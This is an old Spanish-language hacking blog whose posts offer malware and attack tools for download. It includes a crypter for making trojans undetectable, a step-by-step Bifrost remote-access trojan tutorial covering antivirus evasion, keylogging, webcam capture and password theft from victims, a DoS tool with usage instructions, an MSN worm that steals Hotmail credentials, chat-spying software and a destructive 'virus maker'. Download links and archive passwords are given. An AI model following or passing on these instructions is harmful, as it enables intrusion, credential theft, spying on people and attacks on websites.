ESTA ES UNA BARRA DE PRUEBAS BY:DARKNNES
Mostrando entradas con la etiqueta virus. Mostrar todas las entradas
Mostrando entradas con la etiqueta virus. Mostrar todas las entradas

viernes, 12 de septiembre de 2008

Secure Shade 1.5 [By Kizar]

Secure Shade 1.5 [By Kizar]



Aquí les presento una nueva joya de crypter, programado por Kizar, miembro muy activo del foro Elhacker.net y que actualmente deja los servers totalmente indetectables, así que aprovechenlo bien, y espero que ningún cabroncete por ahí se ponga a subir a VirusTotal ni nada de eso... ¬¬

Las características que tiene son:

  • Editor programado en VB6
  • Stub programado en c++/asm
  • Tamaño del Stub(con themida): 577Kb
  • SO: Win98/NT/XP/Vista
  • Totalmente indetectable (Runtime y Scantime)
  • Inyeccion del programa en otro proceso
  • Cambiar icono
  • Encriptación muy rapida
  • Validación de ejecutables
  • Buen diseño

Según ha dicho el propio Kizar, al usar el crypter con los troyanos Bifrost, Nuclear Rat, y Bandook quedan totalmente indetectables hasta el momento, y no destrozan el server ni nada...

Los resultados ante los antivirus han sido los siguientes:

A-Squared Nada encontrado
AntiVir Nada encontrado
ArcaVir Nada encontrado
Avast Nada encontrado
AVG Antivirus Nada encontrado
BitDefender Nada encontrado
ClamAV Nada encontrado
CPsecure Nada encontrado
Dr.Web Nada encontrado
F-Prot Nada encontrado
F-Secure Nada encontrado
Fortinet Nada encontrado
Ikarus Nada encontrado
Kaspersky Nada encontrado
NOD32 Nada encontrado
Norman Nada encontrado
Panda Antivirus Nada encontrado
VirusBuster Nada encontrado
VBA32 Nada encontrado

Link de descarga (Rapidshare)

http://rapidshare.com/files/117008238/SecureShade_1.5_Publica.zip.html

Link de descarga (MegaUpload)

http://www.megaupload.com/es/?d=TH1UFB8E

Password: "foro.elhacker.net"

Agradecer no cuesta nada, Valora los aportes de los demas :P
y si te ha sido de utilidad comenta!!

Tutorial Bifrost ingenieria inversa!

He visto muchos post por la web y despues de tantas demandas ahora he posteado uno

Ojalá les guste.
Primero que todo les explicaré que tiene de diferente el Bifrost de la mayoría de los otros troyanos como el sub7, optix pro, etc. El Bifrost es un troyano de conección "inversa", que significa esto; En la mayoría de los troyanos
al mandar el server a la víctima tenemos que sacar la ip del mismo para poder conectarnos desde NUESTRO pc al de la VICTIMA. En cambio, los troyanos inversos son aquellos que cuando la victima ejecuta el server este se conecta a nuestra pc. Las ventajas son que no nos tomamos el tiempo de sacar la ip... de que este bien y tal... y las desventajas son que muchas veces los firewalls agarran al server tratando de conectarse y nos caga nuestro hack.

bajate el bifrost de aqui http://www.4shared.com/file/30314315/80d43248/Bifrost121.html


Necesitas tener un host de no-ip, si no lo tienes puedes aprender a hacerlo aqui(no es necesario pero si más seguro tener una conección por medio de un dns):
http://www.ayuda-internet.net/tutoriales/manu-noip/manu-noip.html



Hacer indetectable el server!!

Themida 1.9.1


Bueno, para los newbeys que no sepan hacer indetectable esta hecho este Tutorial ..

Lo primero es descargar el Themida , la última version

Descargar aquí

El .zip lleva contraseña, es: Antifahack.net

Lo descomprimimos y veremos esto ..




Por defecto viene en Ingles, pero le vamos a cambiar el idioma al que queramos; Español, Ruso, etc.
Para eso nos situamos en la seccion Optiones, y pinchamos en Advance Options y en Localization elegimos nuestro idioma, despues cerramos y abrimos el Themida y ya lo tendremos en nuestro idioma




Ahora en Fichero de Entrada, buscamos el Server.exe de nuestro Troyano.




Ahora clickeamos en Opciones de Protección. Lo dejamos como está en la imagen



En Code Replace no hay que tocar nada, asi que vamos a Maquina Virtual.
En Especificaciones del Procesador y Visualizacion Punto de Entrada lo modificado como esta en el screenhot




Ahora vamos a Opciones Avanzadas y veremos esto



Ahora solo falta clickear en Proteger, y cuando finalece, le damos directamente a Cerrar, porque si le damos a test (donde el rayo) nos infectaremos nostros xq habremos abierto el Server.

Despues enviamos el server a la victima y cuando se conecte...


Una vez conectada la víctima te aparecera un cartelito así por ejemplo (Sólo si activaste el Msn style notification). Lo bueno que tiene este programa esque puedes tener a todas tus victimas infectadas conectadas a la vez eso te da una mayor movilidad.

en el bifrost veras muchas columnas:
Assigned Name: nombre que le has puesto a la victima
IP: La ip de la victima
Computer/User Name: Nombre del pc /sesion de la victima
Version: version del troyano
C: la X indica si el usuario tiene web cam
ping: es el ping de la victima, es lo q tarda en responder su pc, si el numero es muy elevado es que la victima se a caido y se desconectara.


al darle doble clic sobre el nombre de la victima aparecerera una ventana asi:
system info: te da la informacion del pc (version de windows, nombre...)
Unistall,update,reconnect,close server,restar server: son opciones del server como desistalar...
process list: lista de procesos, desde hay le puedes matar el msn y muxas cosas q no te interesa q tng abiertas.
windows list: es la lista de ventanas q tiene abierta en el escritorio.
password list: lista de contraseñas de IE

sobre el nombre de la victima, si pulsamos el boton derecho, veremos un menu asi:
File Manager: es su disco duro, puedes copiar, borrar, subir archivos...
System Manager: es lo mismo q dar doble click sobre el nombre, ya esta explicado arriva
Screen Capture: es para hacer capturas de pantalla, si marcas las casillas keyboard y mouse podras escribirle y clickearle en su pantalla, la barra de abajo a la izquierda regula la calidad de la captura.
Cam Capture: es para hacer capturas de web cam, la barra de abajo a la izquierda regula la calidad de la imagen.
Remote Shell: es la consola de msdos, le das a "Start" y comienza, solo debes poner los comandos que desees (muy usada para apagarle el pc poniendo shutdown -s -t 00).
key logger: al darle a keylogger veras una ventana como esta

Offline Key Logger: sirve para ver lo q a escrito tu victima desde q la infectastes con el troyano, debe estar la pestaña de "Enable offline Key Logger", al darle a "retrieve keys" t bajara todo lo q a escrito, al darle a "clear log" lo borrara.
Online Key Logger: es para ver lo q esta escribiendo la victima en ese mismo instante, activas la casilla de "Enable Online Key Logger" y empiezan a parecer las teclas q marca.


Find Pasword: busca las claves del IE.
Change Name: es para cambiar el nombre de la victima (Assigned Name).
CopY IP: Sirve para copiar la ip de la victima en el portapapeles.

IMPORTANTE:
si tienes un router no te funcionara y deberas abrir el puerto 2000, como cada router es diferente, os recomiendo q llameis a vuestro proveedor de internet y q el os lo explique.

Ojalá les haya servido. Aviso para que después no me critiquen: El tuto fue creado por mr cuco, yo modifique algunas cosas y agrege información. Así que los créditos van para él por tomarse el tiempo en sacar las fotos y otros créditos para mi por agregarle información Tongue jeje.

Me olvide de algo x'D, para poder saber tu propia ip puedes poner ipconfig en ms dos( Inicio, Ejecutar, tipias cmd.exe o command.exe, y luego tipeas ipconfig). O si eres más pajero vas a www.cualesmiip.com y ya =)

Saludos.


Agradecer no cuesta nada, Valora los aportes de los demas :P
y si te ha sido de utilidad comenta!!

domingo, 24 de agosto de 2008

Creador de pharming

CREADOR DE PHARMING




DESCARGAR
http://rapidshare.com/files/87413843/WWW.CASCANOLAHACK.NET___Creador_de_Phaming.rar.html

sábado, 16 de agosto de 2008

DoScite 3.1 con licencia

DoScite es un programa nuevo que sirve para realizar ataques DOS a webs, funciona casi igual que el Turbinas by volks, conectando y desconectando sockets.

Pero al parecer este es mas efectivo, lo probe con 2 webs medianas y las tiro a las 2 en unos 20 segundos, solo con 1M de conexion, imaginense si se juntan varios para atacar una web...


Inicialmente DoScite estaba a la venta, pero el programador fakundo nos creo una licencia gratuita ilimitada para todos los usuarios de troyanosyvirus.

Veamos las distintas funciones:

URL: Aquí es donde se debe poner la url del host a atacar, DoScite soporta webs con puertos que no sean 80, para especificar otro puerto ponemos la dirección con : (Por ejemplo http://miweb.com:250/index.html, es este caso el puerto es 250)

Browser: En este campo se debe poner la variable del supuesto navegador que utilizamos, esto sirve para lograr más creencia de parte del servidor que la petición es real.
ExtraHeaders: Este es el campo donde se ponen headers personalizados en la petición http, por ejemplo las cookies.

Connection: Aquí va el tipo de comportamiento que tendrá el programa, si ponemos Open o Keep-Alive todos los sockets permanecerán abiertos y podrán enviar ilimitadas peticiones sin tener que ser reconectado, en cambio si ponemos Close cada socket se cerrará cuando la petición sea enviada correctamente.

Sockets: En este sector se debe especificar el número de sockets que utilizaremos en el ataque.

Intervalo: En este sector se debe especificar el intervalo en segundos en que actuará cada socket. Se puede especificar 1 decimal, por ejemplo 0.5 o 1.2.

Petición personalizada: Esta opción permite personalizar la petición que enviaremos permitiéndonos utilizar el cabezal POST en el header o cualquier otro que deseemos.

Realizar un minintervalo: Si marcamos esta opción se realizara un intervalo de 2 milisegundos por socket.

Actualizado: salio una nueva version llamada Dosers Pack, que incluye la version 3.2 del Doscite y un TCP DOS Tool, dentro del rar se incluyen todas las dependencias.

Descarga:
DoSers Pack by Faku (rapidshare)
DoSers Pack by Faku (mediafire)

DoScite 3.1 (Rapidshare)
DoScite 3.1 (Mediafire)


fuente: troyanos y virus

Fake - Propagador de MSN BY LixKeÜ

Hoy les presento un gusano Propagador por msn muy bueno, Puede ser utilisado para hackear masivamente cuentas de hotmail, Para expandir servidores de troyanos, para publicidad, y se le puede dar muchisimos usos mas, pero esta diseñado para robar cuentas de MSN prinsipalmente. Lo que realiza basicamente este propagador es enviar un mensaje a todos los contactos conectados del msn diciendo que vean su foto o descargue tal cosa (eso lo decide cada uno).
algo asi:



Cuando alguien cae se descargara en su pc un fake de msn (puede ser otro programa), y el propagador. Lo que realiza el fake es capturar todas las cuentas de hotmail con sus respectivas contraseñas y enviarlas al mail que se le pida (se recomienda crear una cuenta nueva para recivir las contraseñas). Ese es todo el proceso. es dificil de explicar y de entender asi que novatoncr creo esta pequeña explicacion grafica facil de entender. (clic en la imagen para ampliar)



El Programa consta de los siguientes archivos:

-Editor fake
-Fake MSN
-Propagador
-Compresor UPX



Imagen del Editor fake



bueno como ven tiene un editor que es en donde hay que poner la direccion de correo donde llegaran los mail con los datos de las victimas y darle en donde dice fake y de alli buscar el fake para cargar los datos de tu correo.
En otra parte trae para programar el propagador si lo quieren usar en este lo que hay que hacer es poner en la primera caja de texto una direccion en donde el programa descargara el fake( EN DONDE SUBA EL FAKE NO TIENE QUE ESTAR EN ZIP NI RAR TIENE QUE ESTAR COMO EXE OSINO NO FUNCIONARIA YA QUE PONDRIA EL ZIP EN VEZ DEL EXE EN EL ESCRITORIO EL PROPAGADOR) y lo pondra en el escritorio y en menu>programas.
En la segunda caja de texto hay que poner una escusa en la cual las victimas hagan clic (EN EL VINCULO) al enviar un mensage por el msn y al hacer clip descarge de nuevo el propagador.

Descarga el fake - propagador de MSN LixKeÜ: http://troyanosyvirus.webcindario.com/Propagador.zip

MIRROR RAPIDSHARE


Fuente: troyanos y virus


sábado, 2 de agosto de 2008

MSN fijate lo que escribieron en el MSN de tu PC :]

MSN fijate lo que escribieron en el MSN de tu PC :]

Ahora si ya no te quedaras con la duda de ''que tanto es lo que platica mi prima con sus amigas desde el msn de mi compu?''


Con este programita podras checar las conversaciones de TODOS los que usan el MSN de tu compu, o es una excelente utilidad para los cybers u_u Usenlo con moderación y no abusen de el u_u.
Te guarda el estado de los demas usuarios.
Te guarda TODOS los smiles o emoticons de los que chatearon en tu compu y sus contactos.

Usenlo con fines educativos nadamas, no vayan a hacer travesuras con el por que luego les pasa algo malo como ya no poder usar su mano derecha u_u

Nombre: MSN log PRO con medicina por NOPE
Peso: 1.09 Mb ( con infinitum a 1 mb lo bajas en 20 segundos)
NO tiene pass


link
http://rapidshare.com/files/96742872...40.Cracked.rar

Propagador MSN [Editor Fake] VIRUS MSN

Propagador MSN [Editor Fake]

Este es un propagador que funciona por msn y puede se utilizado para hackear masivamente cuentas de hotmail, expandir servidores de troyanos, publicidad etc...
Lo que hace básicamente es propagarse para enviar mensajes a todos los contactos del msn diciendo que vean una foto o descargar una foto (por ejemplo el fotos_posse)


Cuando alguien cae se descargara en su pc un fake de msn (puede ser otro programa), y el propagador. Lo que realiza el fake es capturar todas las cuentas de hotmail con sus respectivas contraseñas y enviarlas al mail que se le pida (se recomienda crear una cuenta nueva para recivir las contraseñas). Eso es todo...







- Fake: Aqui introduces tu mail para recibir los mails

- Propagador: 1. Sube tu Server y coloca la URL (tiene que comenzar por http://...)
2. Elije tu texto y luego introduce la URL del propagador.exe que encontrarás en la carpeta del programa.


- Después dale a Propagar para guardar los cambios efectuados

- También le puedes cambiar el icono con el Replace Icon



Descarga


Eso es todo... propagar vuestros Servers



Saludos

sábado, 2 de febrero de 2008

CREACION DE UN VIRUS DESTRUCTIBLE DE LA FORMA MAS SENCILLA DEL MUNDO,YEAH FUCK

LO PRIMERO QUE HAY QUE HACER ES APAGAR EL REPRODUCTOR DALE CLIC EN STOP Y AHORA INGRESA A ESTE POSTEO YEAH



CREA TU PROPIO VIRUS DESTRUCTIBLE CON VIRUSMAKER


descargar AQUI
VIRUS MAKER








SI QUIERES UN VIRUS YA CODIFICADO DESTRUCTOR BAJATE ESTE Y ENVIALO A TUS VICTIMAS
DESCARGALOAQUIPROMOCIONEN LA WEB CON TODA SU GENTE DEL MSN Y AMIGOS BY WWW.DARKNNES.BLOGSPOT.COM